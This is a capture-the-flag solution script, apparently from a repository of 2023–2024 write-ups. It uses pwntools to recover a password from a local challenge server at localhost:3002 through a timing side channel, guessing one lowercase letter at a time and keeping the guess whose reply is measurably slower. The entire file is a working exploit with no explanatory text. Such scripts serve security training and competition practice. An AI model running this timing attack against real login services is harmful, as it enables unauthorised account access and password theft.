write-ups-challenges-2023-2024/reaaaally-old-server/sol.py
2023-11-28 16:24:59 +01:00

23 lines
541 B
Python

from pwn import *
def find(password, prevtime):
for c in string.ascii_lowercase:
new_pass = password + c
print(new_pass)
conn = remote("localhost", 3002)
conn.recv()
t = time.time()
conn.send((new_pass + "\n").encode())
ans = conn.recvline(timeout=prevtime + 1)
endtime = time.time() - t
print(endtime)
if endtime - prevtime > 0.08:
conn.close()
find(new_pass, endtime)
break
conn.close()
find("", 0)